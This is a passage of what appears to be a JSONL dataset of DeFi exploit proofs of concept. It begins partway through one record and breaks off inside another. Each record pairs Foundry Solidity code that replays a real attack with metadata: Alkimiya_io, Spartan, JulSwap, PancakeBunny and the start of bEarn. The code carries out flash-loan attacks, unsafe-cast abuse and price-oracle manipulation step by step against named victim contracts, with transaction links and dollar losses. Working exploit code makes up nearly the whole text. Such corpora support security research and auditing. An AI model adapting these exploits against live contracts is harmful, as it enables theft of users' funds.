https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731dbbd4e4\n// Vulnerable Contract : https://etherscan.io/address/0xf3f84ce038442ae4c4dcb6a8ca8bacd7f28c9bde\n// Attack Tx : https://etherscan.io/tx/0x9b9a6dd05526a8a4b40e5e1a74a25df6ecccae6ee7bf045911ad89a1dd3f0814\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant silicaPools = 0xf3F84cE038442aE4c4dCB6A8Ca8baCd7F28c9bDe;\naddress constant morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;\naddress constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\n\ncontract Alkimiya_io_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22_146_340 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC();\n \n attC.attack();\n\n console2.log(\"Profit:\", IFS(WBTC).balanceOf(address(attC)), 'WBTC');\n }\n}\n\ncontract AttackerC {\n uint256 id;\n\n function attack() external {\n IFS(WBTC).approve(silicaPools, type(uint256).max);\n IFS(WBTC).approve(morpho, type(uint256).max);\n \n IFS(morpho).flashLoan(\n WBTC, \n 1000000000, \n ''\n );\n }\n\n function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {\n IFS(WBTC).transfer(silicaPools, 56125794);\n\n IFS.PoolParams memory poolParams = IFS.PoolParams(\n 41,\n 46,\n address(this), // index\n uint48(block.timestamp),\n uint48(block.timestamp),\n WBTC\n );\n\n IFS(silicaPools).collateralizedMint(\n poolParams,\n bytes32(0),\n uint256(type(uint128).max) + 2, // To trigger the unsafecast `uint128(shares)`\n address(this),\n address(this)\n );\n\n IFS(silicaPools).safeTransferFrom(\n address(this), \n address(1),\n id, \n type(uint128).max,\n \"\"\n );\n\n IFS(silicaPools).startPool(poolParams);\n IFS(silicaPools).endPool(poolParams);\n IFS(silicaPools).redeemShort(poolParams);\n }\n\n function onERC1155Received(\n address operator,\n address from,\n uint256 _id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4) {\n // Only the second id is used, the fist is overwrite\n id = _id;\n\n return AttackerC.onERC1155Received.selector;\n }\n\n // Used by index param of PoolParams on collateralizedMint and startPool functions\n\n function decimals() external returns(uint256) {\n return 31;\n }\n\n function transferFrom(address from, address to, uint256) external returns(bool) {\n return true;\n }\n\n function shares() external returns(uint256) {\n return 1;\n }\n\n function balance() external returns(uint256) {\n return 0;\n }\n}\n\ninterface IFS is IERC20 {\n // Morpho\n function flashLoan(address token, uint256 assets, bytes calldata data) external;\n\n // SilicaPools\n struct PoolParams {\n uint128 floor;\n uint128 cap;\n address index;\n uint48 targetStartTimestamp;\n uint48 targetEndTimestamp;\n address payoutToken;\n }\n\n function collateralizedMint(\n PoolParams calldata poolParams,\n bytes32 orderHash,\n uint256 shares,\n address longRecipient,\n address shortRecipient\n ) external;\n\n function startPool(PoolParams calldata poolParams) external;\n function endPool(PoolParams calldata poolParams) external;\n function redeemShort(PoolParams calldata shortParams) external;\n\n function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes memory data) external;\n}\n\n", "type": "exploit_poc", "protocol": "Alkimiya_io", "date": "2025-03", "file_name": "Alkimiya_io_exp.sol", "attack_vector": "flash_loan", "content_hash": "833fdf55c15f2114", "collected_at": "2026-01-07T10:59:16.532979", "_source": "postmortems", "chain": "ethereum", "block_number": 22146340, "total_lost_raw": "~ 95.5 K (1.14015390 WBTC)", "total_lost_usd": 95500.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731dbbd4e4", "vulnerable_contract": "https://etherscan.io/address/0xf3f84ce038442ae4c4dcb6a8ca8bacd7f28c9bde", "attack_tx": "https://etherscan.io/tx/0x9b9a6dd05526a8a4b40e5e1a74a25df6ecccae6ee7bf045911ad89a1dd3f0814", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": "~ 95.5 K (1.14015390 WBTC)", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attC = new AttackerC();\n \n attC.attack();\n\n console2.log(\"Profit:\", IFS(WBTC).balanceOf(address(attC)), 'WBTC');\n }\n}\n\ncontract AttackerC {\n uint256 id;", "has_exploit_code": true, "keyinfo_total_lost": "~ 95.5 K (1.14015390 WBTC)", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731dbbd4e4", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf3f84ce038442ae4c4dcb6a8ca8bacd7f28c9bde", "keyinfo_attack_tx": "https://etherscan.io/tx/0x9b9a6dd05526a8a4b40e5e1a74a25df6ecccae6ee7bf045911ad89a1dd3f0814", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$95.5K", "content_richness_score": 9.08, "quality_estimate": "high", "title": "Alkimiya_io Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost: $30.5M\n// Attacker: 0x3b6e77722e2bbe97c1cfa337b42c0939aeb83671\n// Attack Contract: 0x288315639c1145f523af6d7a5e4ccf8238cd6a51\n// Vulnerable Contract: 0x3de669c4f1f167a8afbc9993e4753b84b576426f\n// Attack Tx: https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0\n\n// @Analyses\n// https://medium.com/amber-group/exploiting-spartan-protocols-lp-share-calculation-flaws-391437855e74\n// https://rekt.news/spartan-rekt/\n\ncontract Exploit is Test {\n IWBNB private constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant SPARTA = IERC20(0xE4Ae305ebE1AbE663f261Bc00534067C80ad677C);\n\n IUniswapV2Pair private constant CAKE_WBNB = IUniswapV2Pair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\n\n ISpartanPool private constant SPT1_WBNB = ISpartanPool(0x3de669c4F1f167a8aFBc9993E4753b84b576426f); // SPARTAN<>WBNB\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 7_048_832);\n }\n\n function testExploit() public {\n CAKE_WBNB.swap(0, 100_000 ether, address(this), \"flashloan 100k WBNB\");\n }\n\n function pancakeCall(address, uint256, uint256 amount1, bytes calldata) external {\n // 1: swap WBNB for SPARTA 5 times\n for (uint256 i; i < 4; ++i) {\n WBNB.transfer(address(SPT1_WBNB), 1913.17 ether);\n SPT1_WBNB.swapTo(address(SPARTA), address(this));\n }\n\n // 2: addLiquidity SPARTA<>WBNB, get LP tokens\n SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2536613.206101067206978364\n WBNB.transfer(address(SPT1_WBNB), 11_853.33 ether);\n SPT1_WBNB.addLiquidity();\n\n // 3: swap WBNB for SPARTA 10 times (more in this step for less slippage)\n for (uint256 i; i < 9; ++i) {\n WBNB.transfer(address(SPT1_WBNB), 1674.02 ether);\n SPT1_WBNB.swapTo(address(SPARTA), address(this));\n }\n\n // 4: donate WBNB + SPARTAN to the pool\n SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2639121.977427448690750716\n WBNB.transfer(address(SPT1_WBNB), 21_632.14 ether);\n\n // 5: removeLiquidity from step 2. Since the pool uses spot balanceOf() to calculate withdraw amounts, we can withdraw more assets than normal\n SPT1_WBNB.transfer(address(SPT1_WBNB), SPT1_WBNB.balanceOf(address(this))); // transfer LP tokens into the pool\n SPT1_WBNB.removeLiquidity(); // important: removeLiquidity() doesn't sync all spot balances into reserves\n\n // 6: immediately addLiquidity to \"recover\" donated tokens in step 4\n SPT1_WBNB.addLiquidity();\n\n // 7: removeLiquidity again to get all assets (with exploited profits) out\n IERC20(address(SPT1_WBNB)).transfer(address(SPT1_WBNB), IERC20(address(SPT1_WBNB)).balanceOf(address(this)));\n SPT1_WBNB.removeLiquidity();\n\n // 8: swap SPARTA back to WBNB\n uint256 swapAmount = SPARTA.balanceOf(address(this)) / 10;\n for (uint256 i; i < 9; ++i) {\n SPARTA.transfer(address(SPT1_WBNB), swapAmount);\n SPT1_WBNB.swapTo(address(WBNB), address(this));\n }\n\n // Repeat step 1 -> 8 to fully drain the pool. ~8 times in total\n\n // repay\n WBNB.transfer(address(CAKE_WBNB), amount1 * 1000 / 997);\n\n console.log(\"%s WBNB profit\", WBNB.balanceOf(address(this)) / 1e18);\n }\n}\n\n/* ---------------------- Interface ---------------------- */\ninterface ISpartanPool {\n function swapTo(address token, address member) external payable returns (uint256 outputAmount, uint256 fee);\n function addLiquidity() external returns (uint256 liquidityUnits);\n function removeLiquidity() external returns (uint256 outputBase, uint256 outputToken);\n\n function transfer(address to, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ninterface IWBNB {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IUniswapV2Pair {\n function balanceOf(\n address\n ) external view returns (uint256);\n function skim(\n address to\n ) external;\n function sync() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n}\n", "type": "exploit_poc", "protocol": "Spartan", "date": "2021-05", "file_name": "Spartan_exp.sol", "attack_vector": "flash_loan", "content_hash": "7386f7bff4182bd1", "collected_at": "2026-01-07T10:59:16.533030", "_source": "postmortems", "chain": "unknown", "block_number": 7048832, "total_lost_raw": "$30.5M", "total_lost_usd": 30500000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "$30.5M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n CAKE_WBNB.swap(0, 100_000 ether, address(this), \"flashloan 100k WBNB\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "$30.5M", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$30.50M", "content_richness_score": 8.53, "quality_estimate": "high", "title": "Spartan Exploit (2021-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1.5M\n// Attacker : https://bscscan.com/address/0xc3bc29941677db01b9645f7b8b72d27e3ba75372\n// Attack Contract : https://bscscan.com/address/0x7c591aab9429af81287951872595a17d5837ce03\n// Vulnerable Contract : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d\n// Attack Tx : https://bscscan.com/tx/0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IBNBRouter {\n function swapExactTokensForBNB(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapBNBForExactTokens(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n}\n\ninterface IJulProtocolV2 {\n function addBNB() external payable;\n}\n\ncontract JulSwap is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 7_785_586;\n\n address internal BSCswapPair = 0x0242c5C11E3eaeb53298b45C7395DbaDc8a120E7;\n address internal JULb = 0x32dFFc3fE8E3EF3571bF8a72c0d0015C5373f41D;\n address internal wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address internal Router = 0xbd67d157502A23309Db761c41965600c2Ec788b2;\n address internal JulProtocolV2 = 0x41a2F9AB325577f92e8653853c12823b35fb35c4;\n address internal LP = 0xCcFE1A5b6e4aD16A4e41A9142673dEc829f39402;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n deal(wBNB, address(this), 1000 ether);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n uint256 amount0Out = 70_000_000_000_000_000_000_000;\n uint256 amount1Out = 0;\n IUniswapV2Pair(BSCswapPair).swap(amount0Out, amount1Out, address(this), \"1\");\n }\n\n function BSCswapCall(address, uint256 amount0, uint256, bytes memory) external {\n IERC20(JULb).approve(Router, type(uint256).max);\n\n address[] memory path0 = new address[](2);\n path0[0] = JULb;\n path0[1] = wBNB;\n IBNBRouter(Router).swapExactTokensForBNB(amount0, 1, path0, address(this), 1_622_156_211);\n\n IJulProtocolV2(JulProtocolV2).addBNB{value: 515 ether}();\n\n uint256 amountOut = 70_310_631_895_687_061_183_551;\n address[] memory path1 = new address[](2);\n path1[0] = wBNB;\n path1[1] = JULb;\n IBNBRouter(Router).swapBNBForExactTokens{value: 885.146882180525770269 ether}(\n amountOut, path1, address(this), 1_622_156_211\n );\n IERC20(JULb).transfer(BSCswapPair, 70_210_631_895_687_061_183_551);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "JulSwap", "date": "2021-05", "file_name": "JulSwap_exp.sol", "attack_vector": null, "content_hash": "adebf2c42e8c56fd", "collected_at": "2026-01-07T10:59:16.533087", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "1.5M", "total_lost_usd": 1500000.0, "attacker_address": "https://bscscan.com/address/0xc3bc29941677db01b9645f7b8b72d27e3ba75372", "attack_contract": "https://bscscan.com/address/0x7c591aab9429af81287951872595a17d5837ce03", "vulnerable_contract": "https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d", "attack_tx": "https://bscscan.com/tx/0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1.5M", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n uint256 amount0Out = 70_000_000_000_000_000_000_000;\n uint256 amount1Out = 0;\n IUniswapV2Pair(BSCswapPair).swap(amount0Out, amount1Out, address(this), \"1\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.5M", "keyinfo_attacker": "https://bscscan.com/address/0xc3bc29941677db01b9645f7b8b72d27e3ba75372", "keyinfo_attack_contract": "https://bscscan.com/address/0x7c591aab9429af81287951872595a17d5837ce03", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x32dffc3fe8e3ef3571bf8a72c0d0015c5373f41d", "keyinfo_attack_tx": "https://bscscan.com/tx/0x1751268e620767ff117c5c280e9214389b7c1961c42e77fc704fd88e22f4f77a", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.50M", "content_richness_score": 7.61, "quality_estimate": "medium", "title": "JulSwap Exploit (2021-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/**\n * Exploit:\n * Tx 1 : https://bscscan.com/tx/0x88fcffc3256faac76cde4bbd0df6ea3603b1438a5a0409b2e2b91e7c2ba3371a\n * Attacker zaps 1 BNB into WBNB-USDT VaultFlipToFlip\n *\n * harvest() tx: https://dashboard.tenderly.co/tx/bsc/0x9c48fd13d65f5f951882282444a45a7b84c4f673891bbdcc48af68ed305950bb/debugger?trace=0.0\n *\n * Tx 2 : https://bscscan.com/tx/0x897c2de73dd55d7701e1b69ffb3a17b0f4801ced88b0c75fe1551c5fcce6a979\n * Attacker's price oracle manipulation transaction\n *\n * Resources:\n * https://pancakebunny.medium.com/hello-bunny-fam-a7bf0c7a07ba\n * https://cmichel.io/bsc-pancake-bunny-exploit-post-mortem/\n * https://rekt.news/pancakebunny-rekt/\n * https://www.newsbtc.com/news/company/bsc-flash-loan-attack-pancakebunny/\n */\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n address USDT = 0x55d398326f99059fF775485246999027B3197955;\n address BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51;\n\n IVaultFlipToFlip flip = IVaultFlipToFlip(0x633e538EcF0bee1a18c2EDFE10C4Da0d6E71e77B);\n\n IBunnyZap zap = IBunnyZap(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C);\n\n IPancakeRouter router = IPancakeRouter(payable(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F));\n\n Uni_Pair_V2 WBNBUSDTv1 = Uni_Pair_V2(0x20bCC3b8a0091dDac2d0BC30F68E6CBb97de59Cd);\n Uni_Pair_V2 WBNBUSDTv2 = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n Uni_Pair_V2 WBNBBUNNY = Uni_Pair_V2(0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a);\n\n Uni_Pair_V2 WBNBCAKE = Uni_Pair_V2(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\n Uni_Pair_V2 WBNBBUSD = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);\n Uni_Pair_V2 WBNBETH = Uni_Pair_V2(0x74E4716E431f45807DCF19f284c7aA99F18a4fbc);\n Uni_Pair_V2 WBNBBTC = Uni_Pair_V2(0x61EB789d75A95CAa3fF50ed7E47b96c132fEc082);\n Uni_Pair_V2 WBNBSAFEMOON = Uni_Pair_V2(0x9adc6Fb78CEFA07E13E9294F150C1E8C1Dd566c0);\n Uni_Pair_V2 WBNBBELT = Uni_Pair_V2(0xF3Bc6FC080ffCC30d93dF48BFA2aA14b869554bb);\n Uni_Pair_V2 WBNBDOT = Uni_Pair_V2(0xDd5bAd8f8b360d76d12FdA230F8BAF42fe0022CF);\n Uni_Pair_V2[] pairs = [WBNBCAKE, WBNBBUSD, WBNBETH, WBNBBTC, WBNBSAFEMOON, WBNBBELT, WBNBDOT];\n\n IFortubeBank FortubeBank = IFortubeBank(0x0cEA0832e9cdBb5D476040D58Ea07ecfbeBB7672);\n\n address keeper = 0x793074D9799DC3c6039F8056F1Ba884a73462051;\n\n constructor() public {\n cheat.createSelectFork(\"bsc\", 7_556_330);\n\n IERC20(WBNB).approve(address(zap), 1e18);\n IERC20(address(WBNBUSDTv2)).approve(address(flip), type(uint256).max);\n IERC20(address(USDT)).approve(address(router), type(uint256).max);\n IERC20(address(WBNB)).approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n payable(WBNB).call{value: 1e18}(\"\");\n\n emit log_named_decimal_uint(\n \"Initial WBNB balance of attacker:\", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()\n );\n emit log_named_decimal_uint(\n \"Initial USDT balance of attacker:\", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()\n );\n emit log_named_decimal_uint(\n \"Initial BUNNY balance of attacker:\", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals()\n );\n\n // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool.\n emit log_string(\"Zapping 1 WBNB into WBNB+USDT v2 pool...\");\n\n zap.zapInToken(WBNB, 1e18, address(WBNBUSDTv2));\n uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));\n flip.deposit(lpamount);\n\n emit log_string(\"After X blocks, the keeper of VaultFlipToFlip calls harvest()\");\n\n cheat.warp(1_655_908_339);\n cheat.roll(7_556_391);\n\n // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 0\n cheat.prank(keeper);\n (bool success,) = address(flip).call(abi.encodeWithSignature(\"harvest()\"));\n require(success, \"flip.harvest() fails\");\n\n emit log_string(\"Exploit begins:\");\n\n trigger();\n }\n\n function trigger() public {\n if (flip.earned(address(this)) > 0) {\n //Initiate flashloans\n emit log_string(\"Initiate flashloans...\");\n\n (uint256 _amount0, uint256 _amount1,) = pairs[0].getReserves();\n if (WBNB == pairs[0].token1()) {\n pairs[0].swap(0, _amount1 - 1, address(this), abi.encode(0, 1));\n } else {\n pairs[0].swap(_amount0 - 1, 0, address(this), abi.encode(0, 0));\n }\n\n // execution passes to pancakeCall()\n\n // all flashloans have been repaid!\n emit log_string(\"All flashloans have been repaid!\");\n\n //Collect profit\n emit log_named_decimal_uint(\n \"Collected WBNB profit:\", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()\n );\n emit log_named_decimal_uint(\n \"Collected USDT profit:\", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()\n );\n } else {\n revert(\"Nothing earned.\");\n }\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n (uint256 level, uint256 asset) = abi.decode(data, (uint256, uint256));\n\n // Take 6 WBNB flashloans from PCS\n if (level + 1 < 7) {\n level++;\n (uint256 _amount0, uint256 _amount1,) = pairs[level].getReserves();\n if (WBNB == pairs[level].token1()) {\n pairs[level].swap(0, _amount1 - 1, address(this), abi.encode(level, 1));\n } else {\n pairs[level].swap(_amount0 - 1, 0, address(this), abi.encode(level, 0));\n }\n } else {\n //flashloan from fortube bank\n uint256 usdtFlashloanAmount = 2_961_750_450_987_026_369_366_661; // 2'961'750.450987026369366661 USDT\n\n FortubeBank.flashloan(address(this), USDT, usdtFlashloanAmount, hex\"\");\n // execution passes to executeOperation()\n }\n\n //repay each PCS flashloan\n uint256 retAmount = asset == 0 ? ((amount0 * 10_000) / 9975 + 1) : ((amount1 * 10_000) / 9975 + 1);\n require(IERC20(WBNB).balanceOf(address(this)) >= retAmount, \"not making proift\");\n IERC20(WBNB).transfer(msg.sender, retAmount);\n }\n\n function executeOperation(address token, uint256 amount, uint256 fee, bytes calldata params) public {\n uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));\n\n emit log_named_decimal_uint(\n \"After all PCS flashloans, attacker WBNB balance:\",\n IERC20(WBNB).balanceOf(address(this)),\n IERC20(WBNB).decimals()\n );\n\n emit log_named_decimal_uint(\n \"After Fortube Bank flashloan, USDT balance of attacker:\", usdtBalance, IERC20(USDT).decimals()\n );\n\n // *Actual exploit*\n exploit();\n\n // Start repaying flashloans\n emit log_string(\"Repaying flashloans...\");\n\n // Repay fortube flashloan\n uint256 usdtOwed = amount + fee;\n IERC20(USDT).transfer(FortubeBank.controller(), usdtOwed);\n }\n\n function exploit() public {\n uint256 wbnbAmount = IERC20(WBNB).balanceOf(address(this)) - 15_000e18;\n\n // Manipulate BunnyMinter._zapAssetsToBunnyBNB - deposit liquidity\n IERC20(WBNB).approve(address(zap), type(uint256).max);\n zap.zapInToken(WBNB, 15_000e18, address(WBNBUSDTv2));\n uint256 attackerLPBalance = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));\n IERC20(address(WBNBUSDTv2)).transfer(address(WBNBUSDTv2), attackerLPBalance);\n\n emit log_string(\"Dumping all WBNB for USDT on WBNB+USDT v1 pool..\");\n\n // Manipulate WBNB - USDT pair\n (uint256 reserve0, uint256 reserve1,) = WBNBUSDTv1.getReserves();\n uint256 amountIn = wbnbAmount;\n uint256 amountOut = router.getAmountOut(amountIn, reserve1, reserve0);\n IERC20(WBNB).transfer(address(WBNBUSDTv1), amountIn);\n WBNBUSDTv1.swap(amountOut, 0, address(this), hex\"\");\n\n emit log_named_decimal_uint(\n \"After dumping all WBNB, WBNB balance of attacker:\",\n IERC20(WBNB).balanceOf(address(this)),\n IERC20(WBNB).decimals()\n );\n emit log_named_decimal_uint(\n \"After dumping all WBNB, USDT balance of attacker:\",\n IERC20(USDT).balanceOf(address(this)),\n IERC20(USDT).decimals()\n );\n\n //Collect inflated rewards\n flip.getReward();\n\n emit log_named_decimal_uint(\n \"After collecting rewards, BUNNY balance of attacker:\",\n IERC20(BUNNY).balanceOf(address(this)),\n IERC20(BUNNY).decimals()\n );\n\n //Dump BUNNY\n emit log_string(\"Dumping all BUNNY for WBNB on WBNB+BUNNY pool...\");\n {\n uint256 bunnyBalance = IERC20(BUNNY).balanceOf(address(this)) - 1;\n (uint256 reserve0, uint256 reserve1,) = WBNBBUNNY.getReserves();\n uint256 amountIn = bunnyBalance;\n uint256 amountOut = router.getAmountOut(bunnyBalance, reserve1, reserve0);\n\n IERC20(BUNNY).transfer(address(WBNBBUNNY), amountIn);\n WBNBBUNNY.swap(amountOut, 0, address(this), hex\"\");\n\n emit log_named_decimal_uint(\n \"After dumping all BUNNY, WBNB balance of attacker:\",\n IERC20(WBNB).balanceOf(address(this)),\n IERC20(WBNB).decimals()\n );\n }\n }\n}\n", "type": "exploit_poc", "protocol": "PancakeBunny", "date": "2021-05", "file_name": "PancakeBunny_exp.sol", "attack_vector": "flash_loan", "content_hash": "17527a36b6a4efc3", "collected_at": "2026-01-07T10:59:16.533141", "_source": "postmortems", "chain": "bsc", "block_number": 7556330, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n payable(WBNB).call{value: 1e18}(\"\");\n\n emit log_named_decimal_uint(\n \"Initial WBNB balance of attacker:\", IERC20(WBNB).balanceOf(address(this)), IERC20(WBNB).decimals()\n );\n emit log_named_decimal_uint(\n \"Initial USDT balance of attacker:\", IERC20(USDT).balanceOf(address(this)), IERC20(USDT).decimals()\n );\n emit log_named_decimal_uint(\n \"Initial BUNNY balance of attacker:\", IERC20(BUNNY).balanceOf(address(this)), IERC20(BUNNY).decimals()\n );\n\n // Deposit a minimum amount of WBNB + USDT to VaultFlipToFlip, transfer LP tokens to WBNB + USDT Pancake pool.\n emit log_string(\"Zapping 1 WBNB into WBNB+USDT v2 pool...\");\n\n zap.zapInToken(WBNB, 1e18, address(WBNBUSDTv2));\n uint256 lpamount = IERC20(address(WBNBUSDTv2)).balanceOf(address(this));\n flip.deposit(lpamount);\n\n emit log_string(\"After X blocks, the keeper of VaultFlipToFlip calls harvest()\");\n\n cheat.warp(1_655_908_339);\n cheat.roll(7_556_391);\n\n // Keeper needs to call flip.harvest() so that flip.earned(address(this)) > 0\n cheat.prank(keeper);\n (bool success,) = address(flip).call(abi.encodeWithSignature(\"harvest()\"));\n require(success, \"flip.harvest() fails\");\n\n emit log_string(\"Exploit begins:\");\n\n trigger();\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "PancakeBunny Exploit (2021-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 11M\n// Attacker : https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089\n// Attack Contract : https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6\n// Vulnerable Contract : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb\n// Attack Tx : https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb#code\n\n// @Analysis\n// Post-mortem : https://bearndao.medium.com/bvaults-busd-alpaca-strategy-exploit-post-mortem-and-bearn-s-compensation-plan-b0b38c3b5540\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface ICreamFi {\n function flashLoan(address receiver, uint256 amount, bytes calldata params) external;\n function getCash() external returns (uint256);\n}\n\ninterface IBVault {\n function deposit(uint256 _pid, uint256 _wantAmt) external;\n function emergencyWithdraw(\n uint256 _pid\n ) external;\n}\n\ncontract bEarn is BaseTestWithBalanceLog 